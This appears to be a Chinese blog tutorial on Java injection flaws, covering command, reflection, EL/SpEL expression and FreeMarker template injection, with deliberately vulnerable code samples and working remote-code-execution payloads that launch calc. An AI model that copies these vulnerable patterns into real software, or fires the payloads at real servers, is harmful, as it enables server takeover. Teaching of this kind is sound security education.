注入类漏洞
命令注入
某种开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。但未对输入进行充分的过滤,导致漏洞产生。
实例
Java中Runtime类可以调用系统命令,
String cmd = req.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
Runtime类的底层是调用 ProcessBuilder类,所以它也可以执行系统命令。
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
思考:如下代码是否存在命令执行呢?
String cmd = "ping "+url;
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int i = -1;
while ((i = in.read(b)) != -1) {
byteArrayOutputStream.write(b, 0, i);
}
如下代码是存在命令执行的。
String[] cmdarr = { "cmd", "/c","ping "+cmd};
Process process = Runtime.getRuntime().exec(cmdarr);
InputStream in = process.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int i = -1;
while ((i = in.read(b)) != -1) {
byteArrayOutputStream.write(b, 0, i);
}
return new String(byteArrayOutputStream.toByteArray());
参考:L1NK3R大佬的博客
http://www.lmxspace.com/2019/10/08/Java下奇怪的命令执行/
代码注入
程序中存在某种功能可以直接执行java代码,比如:反射机制。
以下示例展示了一个根据用户输入的类名进行动态实例化和调用方法的一个过程。
String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{req.getParameter("Args").toString()};
try {
Class clazz = Class.forName(ClassName);
Constructor constructor = clazz.getConstructor(String[].class);
Object obj = constructor.newInstance(new Object[]{Args});
Method method = clazz.getMethod(MethodName);
method.invoke(obj);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
等效于链式调用
ProcessBuilder("calc").start()
Apache Commons collections 反序列化漏洞其中就存在了这个问题
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
表达式注入
表达式注入这一概念最早出现在2012年12月的一篇论文《Remote Code Execution withEL Injection Vulnerabilities》中,文中详细阐述了表达式注入的成因以及危害。表达式注入在互联网上造成过巨大的危害,例如Struts2系列曾几次因OGNL表达式引起远程代码执行。
从本质上表达式只是Java代码的另一种形式。
JSP中的表达式
<%@ page contentType="text/html;charset=UTF-8" language="Java" %>
<html>
<head>
<title>EL表达式实例页面</title>
</head>
<body>
<center>
<h3> 输入的name值为:${param.name}</h3>
</center>
</body>
</html>
<%@ page contentType="text/html;charset=UTF-8" language="Java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
${Runtime.getRuntime().exec("calc")}
</body>
</html>
SpEL
在SpEL中,EvaluationContext是用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口,该接口有两种实现,分别为SimpleEvaluationContext和StandardEvaluationContext,在默认情况下使用StandardEvaluationContext对表达式进行评估。
- l SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- l StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。用户可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
/*
http://127.0.0.1:8080/demo?payload=T(Runtime).getRuntime().exec("calc")
*/
ExpressionParser parser = new SpelExpressionParser();
// EvaluationContext evaluationContext = new StandardEvaluationContext();
EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
//表达式部分可控
Expression expression = parser.parseExpression(payload);
expression.getValue(evaluationContext);
return "SpELl 注入测试";
CVE-2011-2730 Spring标签EL表达式漏洞
历史上曾出现一个Spring标签EL表达式漏洞(CVE-2011-2730),漏洞成因是Spring的message标签能够解析执行EL表达式,而WEB容器也会对EL表达式进行一次解析,两次解析使得EL表达式注入得以利用。
CVE-2018-1273 Spring Data Commons远程代码执行漏洞
2018年曾披露Spring Data Commons的远程代码执行漏洞(CVE-2018-1273),攻击者可以构造含有恶意代码的SpEL表达式实现远程代码执行,接管服务器权限。
从官方发布的修复补丁中,可以清晰地看到使用了SimpleEvaluationContext来代替StandardEvaluationContext,修补了该漏洞,补丁代码如图5-10所示。
模板注入
EB应用程序中广泛使用模板引擎来进行页面的定制化呈现,用户可以通过模板定制化展示符合自身特征的页面。模板引擎支持页面定制展示的同时也带来了一定安全风险。
Freemarker模板注入
内建函数
FreeMarker中预制了大量的内建函数,极大地增强和拓展了模板的语言功能。在增强功能的同时,也可能引发一些危险操作,若研发人员不加以限制,则很可能产生安全隐患。
New函数的利用
new函数可以创建一个继承自freemarker.template.TemplateModel 类的实例,查阅源码会发现freemarker.template.utility. Execute#exec可以执行任意代码,因此可以通过new函数实例化一个Execute对象并执行exec方法造成任意代码被执行,如图5-12所示。
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
通过阅读源码发现freemarker.template.utility包中以下几个类都可以被利用来执行恶意代码:
可利用类 | payload |
---|---|
ObjectConstructor | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>$ |
JythonRuntime | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")/@value |
Execute | <#assign value="freemarker.template.utility.Execute"?new()>$ |
Api函数的利用
Api函数可以用来访问Java API,使用方法为value?api.someJavaMethod(),相当于value.someJavaMethod()。因此可以利用Api方法通过getClassLoader来获取一个类加载器,进而加载恶意类。
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("Evil.class")}
OFCMS 1.1.2模板注入漏洞
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?